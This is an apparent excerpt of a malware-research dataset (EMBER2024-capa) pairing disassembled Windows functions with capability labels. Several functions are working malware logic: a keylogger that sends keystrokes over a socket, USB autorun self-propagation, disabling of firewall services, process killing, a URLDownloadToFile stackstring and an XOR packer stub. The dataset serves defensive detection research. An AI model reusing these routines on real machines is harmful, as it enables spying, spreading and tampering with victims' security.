joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015c1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 0x42d224
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40152b
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [0x42d214], eax
mov eax, dword [0x42d214]
mov dword [esp + 4], 0x1d4c0
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
nop
mov eax, dword [0x42d468]
mov dword [esp], eax
call sub.USER32.dll_UnhookWindowsHookEx
sub esp, 4
mov eax, 0
leave
ret
Function at 0x401aa6
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x140
lea ebx, [ebp - 0x134]
mov al, 0
mov edx, 0x128
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x134], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401af4
cmp dword [ebp - 0xc], 0
jne 0x401b09
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401c02
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401b75
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401c02
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401b76
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401c02
nop
lea eax, [ebp - 0x134]
add eax, 0x24
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x401b3f
mov eax, dword [ebp - 0x12c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401bca
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401bdc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401c02
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateProcess
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 1
jmp 0x401c0c
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret 4
Function at 0x401c15
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x140
lea ebx, [ebp - 0x134]
mov al, 0
mov edx, 0x128
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x134], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x401c63
cmp dword [ebp - 0xc], 0
jne 0x401c78
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401d58
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401ce1
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401d58
lea eax, [ebp - 0x134]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401ce2
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401d58
nop
lea eax, [ebp - 0x134]
add eax, 0x24
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x401cae
mov eax, dword [ebp - 0x12c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401d36
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401d48
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 0
jmp 0x401d58
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov al, 1
jmp 0x401d62
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret 4
Function at 0x401d6b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x190
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x16e], 0x6c72
lea ebx, [ebp - 0x16a]
mov al, 0
mov edx, 0x2e
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x13c], 0x69466f54
mov dword [ebp - 0x138], 0x656c
lea ebx, [ebp - 0x134]
mov al, 0
mov edx, 0x2a
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x10a], 0x5255
lea ebx, [ebp - 0x106]
mov al, 0
mov edx, 0x2e
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0xd8], 0x2e6e6f6d
mov dword [ebp - 0xd4], 0
lea ebx, [ebp - 0xd0]
mov al, 0
mov edx, 0x2a
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0xa6], 0x6e776f44
mov dword [ebp - 0xa2], 0
lea ebx, [ebp - 0x9e]
mov al, 0
mov edx, 0x2a
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
lea eax, [ebp - 0x13c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0xa6]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10a]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sL_sload_sA
lea eax, [ebp - 0x74]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0xd8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x16e]
mov dword [esp + 8], eax
mov dword [esp + 4], str.u_s_sdll
lea eax, [ebp - 0x42]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x42]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [ebp - 0xc]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_FreeLibrary
sub esp, 4
mov al, 0
jmp 0x401ef4
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret 8
Function at 0x401f58
Capabilities:
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call fcn.00401efd
test al, al
je 0x401f70
mov dword [ebp - 0xc], str.MpsSvc
jmp 0x401f77
mov dword [ebp - 0xc], str.SharedAccess
mov dword [esp + 8], 0xf003f
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.ADVAPI32.DLL_OpenSCManagerA
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401fa6
mov al, 1
jmp 0x402037
mov dword [esp + 8], 0xf01ff
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ADVAPI32.DLL_OpenServiceA
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401fd0
mov al, 1
jmp 0x402037
cmp dword [ebp + 8], 0
jne 0x401ff8
lea eax, [ebp - 0x34]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ADVAPI32.DLL_ControlService
sub esp, 0xc
mov dword [ebp - 0x18], eax
jmp 0x402019
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ADVAPI32.DLL_StartServiceA
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CloseServiceHandle
sub esp, 4
mov al, 1
jmp 0x402041
leave
ret 4
Function at 0x4027e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [ebp + 8]
mov byte [ebp - 0x40c], al
movsx eax, byte [ebp - 0x40c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c:_
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 8], 0xff
lea edx, [ebp - 0x308]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 0x10], 0x42576d
mov dword [esp + 0xc], 0x425771
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_sBDriver._s
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov dword [esp + 0x10], 0x425782
mov dword [esp + 0xc], 0x425785
lea eax, [ebp - 0x408]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_stor_s.inf
lea eax, [ebp - 0x108]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
je 0x4028cb
lea eax, [ebp - 0x408]
mov dword [esp], eax
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 4
jne 0x4028cf
mov al, 1
jmp 0x4028d1
mov al, 0
test al, al
je 0x402905
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
lea eax, [ebp - 0x308]
mov dword [esp], eax
call fcn.00402908
lea eax, [ebp - 0x108]
mov dword [esp], eax
call fcn.00402a37
jmp 0x402905
nop
leave
ret
Function at 0x402908
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 4], 0x425796
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_ftell
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_rewind
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 7
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x402a0f
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x402a35
leave
ret

Function at 0x402a37
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x160
mov dword [ebp - 0x146], 0x5455415b
mov dword [ebp - 0x142], 0
lea ebx, [ebp - 0x13e]
mov al, 0
mov edx, 0x2a
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [esp + 0x14], str.LLEXECUTEDriverUSB
mov dword [esp + 0x10], str._nSHE
mov dword [esp + 0xc], str.ORUN_
lea eax, [ebp - 0x146]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_s.exe
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 7
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 2
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x402b24
lea eax, [ebp - 0x114]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x402b3c
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret
Function at 0x4037da
Capabilities:
Get keyboard layout
Log keystrokes via polling
Query environment variable
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp], 0x42d240
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
test eax, eax
setle al
test al, al
je 0x40381c
mov dword [esp], str.homedrive
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_boot.com
mov dword [esp], 0x42d240
call sub.USER32.dll_wsprintfA
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov ax, word [ebp - 0x26]
movzx eax, ax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov byte [ebp - 0x15], 0
cmp dword [ebp - 0x14], 0x36
jle 0x403899
cmp dword [ebp - 0x14], 0x37
jne 0x403854
mov dword [ebp - 0xc], 0
jmp 0x4038a2
cmp dword [ebp - 0x14], 0x38
jne 0x403863
mov dword [ebp - 0xc], 1
jmp 0x4038a2
cmp dword [ebp - 0x14], 0x39
jne 0x403872
mov dword [ebp - 0xc], 2
jmp 0x4038a2
cmp dword [ebp - 0x14], 0x3a
jne 0x403881
mov dword [ebp - 0xc], 3
jmp 0x4038a2
cmp dword [ebp - 0x14], 0x3b
jne 0x403890
mov dword [ebp - 0xc], 4
jmp 0x4038a2
mov dword [ebp - 0xc], 5
jmp 0x4038a2
mov eax, dword [ebp - 0x14]
add eax, 5
mov dword [ebp - 0xc], eax
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete al
test al, al
je 0x4038bf
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sub.KERNEL32.dll_GetLocalTime
sub esp, 4
mov ax, word [ebp - 0x26]
movzx eax, ax
cmp eax, dword [ebp - 0xc]
je 0x4039d4
mov word [ebp - 0xe], 0
jmp 0x4039b6
movsx eax, word [ebp - 0xe]
mov dword [esp], eax
call sub.USER32.dll_GetAsyncKeyState
sub esp, 4
cmp ax, 0x8001
sete al
test al, al
je 0x4039b2
mov dword [esp + 4], 0xff
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp], 0
call sub.USER32.dll_GetKeyboardLayout
sub esp, 4
mov edx, eax
movsx eax, word [ebp - 0xe]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.USER32.dll_MapVirtualKeyExA
sub esp, 0xc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edx, eax
shl edx, 0x10
mov dword [esp + 8], 0x100
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
inc word [ebp - 0xe]
cmp word [ebp - 0xe], 0xff
setle al
test al, al
jne 0x4038e8
jmp 0x4038a2
nop
leave
ret
Function at 0x412a74
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test ecx, ecx
je 0x412a8c
cmp dword [eax + 0x118], 0
jne 0x412a88
jmp fcn.0040c4b0
ret
mov dword [eax + 0x118], 1
ret

Function at 0x41307c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [ecx], 0x2d
je 0x413098
cmp dword [eax + 0x118], 0
jne 0x413097
jmp fcn.0040c4b0
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edx, dword [ecx + 4]
mov edi, dword [edx + 8]
mov ebp, dword [edx + 4]
test edi, edi
je 0x413090
mov edx, dword [eax + 0x100]
xor ebx, ebx
jmp 0x4130cf
mov esi, edx
inc edx
mov byte [eax + esi], cl
mov dword [eax + 0x100], edx
mov byte [eax + 0x104], cl
inc ebx
cmp edi, ebx
je 0x413090
mov cl, byte [ebp + ebx]
cmp edx, 0xff
jne 0x4130b8
mov byte [eax + 0xff], 0
mov edx, dword [eax + 0x10c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0xff
mov dword [esp], eax
mov dword [esp + 0x18], eax
mov byte [esp + 0x1c], cl
call dword [eax + 0x108]
mov eax, dword [esp + 0x18]
inc dword [eax + 0x120]
mov edx, 1
xor esi, esi
mov cl, byte [esp + 0x1c]
jmp 0x4130bb
Function at 0x4177f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x28
mov ebx, dword [sym.imp.msvcrt.dll__iob]
lea eax, [esp + 0x34]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
mov dword [esp + 0x1c], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
lea edi, [edi]

Function at 0x417850
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x5c
mov dword [esp + 0x4c], ebx
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 0x50], esi
mov esi, edx
mov dword [esp + 0x54], edi
mov edi, ecx
mov dword [esp + 0x58], ebp
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x417946
mov eax, dword [esp + 0x38]
cmp eax, 4
jne 0x4178c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov ebx, dword [esp + 0x4c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
add esp, 0x5c
ret
cmp eax, 0x40
je 0x417895
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
cmp eax, 0x40
setne byte [esp + 0x1e]
cmp eax, 4
setne byte [esp + 0x1f]
call sub.msvcrt.dll_memcpy
cmp byte [esp + 0x1f], 0
je 0x4178a5
cmp byte [esp + 0x1e], 0
je 0x4178a5
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x4178a5
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004177f0
nop

Function at 0x417be0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x42d4e8
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x42d500]
sub esp, 4
test ebx, ebx
je 0x417c2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x417c24
test esi, esi
je 0x417c24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x417c00
mov dword [esp], 0x42d4e8
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x41f210
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.00417bc0
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x41f246
jmp 0x41f285
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41f243
cmp al, 0x20
je 0x41f243
cmp al, 0x22
jne 0x41f269
jmp 0x41f2d4
cmp al, 0x20
lea esi, [esi]
je 0x41f270
test al, al
je 0x41f285
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x41f257
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x41f2ea
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x41f277
cmp al, 0x20
je 0x41f277
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x41f294
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004095e4
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x41f2de
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x41f2d0
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x41f270
cmp al, 9
je 0x41f277
jmp 0x41f285
Function at 0x10001080
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor ecx, ecx
test edx, edx
jle 0x1000109f
mov eax, dword [esp + 4]
push ebx
mov bl, byte [ecx + eax]
xor bl, 0x5d
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edx
jl 0x1000108f
pop ebx
ret
mov eax, dword [esp + 4]
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408e84
nop
nop
mov ecx, 0x56b7779e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x6ba329be
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40d970
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4982bc
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4c4014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x24], 0
mov dword [ebx + 0x2c], 0
mov dword [ebx + 0x30], 0
lea edi, [ebx + 0x34]
mov byte [ebp - 4], 3
lea ecx, [edi + 4]
mov dword [ebp - 0x14], edi
call fcn.0044e170
push ecx
mov dword [edi], vtable.CryptoPP::Integer.0
push 2
mov dword [edi + 8], 2
call fcn.00453760
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 0
mov dword [eax + 4], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
lea edi, [ebx + 0x48]
mov byte [ebp - 4], 4
lea ecx, [edi + 4]
mov dword [ebp - 0x14], edi
call fcn.0044e170
push ecx
mov dword [edi], vtable.CryptoPP::Integer.0
push 2
mov dword [edi + 8], 2
call fcn.00453760
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 0
mov dword [eax + 4], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, ebx
mov byte [ebx + 0x5c], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410610
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 4], esi
call fcn.0040d970
mov byte [esi + 0xb1], 1
lea eax, [esi + 0x70]
mov dword [eax + 0x48], 0x10
mov dword [esi + 0x64], 0
mov dword [esi + 0x68], 0
mov dword [eax + 0x4c], eax
lea eax, [esi + 0xc0]
mov byte [eax + 0x41], 1
mov dword [eax + 0x48], 0x10
mov dword [eax + 0x4c], eax
mov eax, dword [esi + 0x10c]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov eax, esi
mov dword [esi + 0x60], vtable.CryptoPP::SHA1.0
mov dword [esi], vtable.CryptoPP::PK_MessageAccumulatorImpl_class_CryptoPP::SHA1_.0
pop esi
mov esp, ebp
pop ebp
ret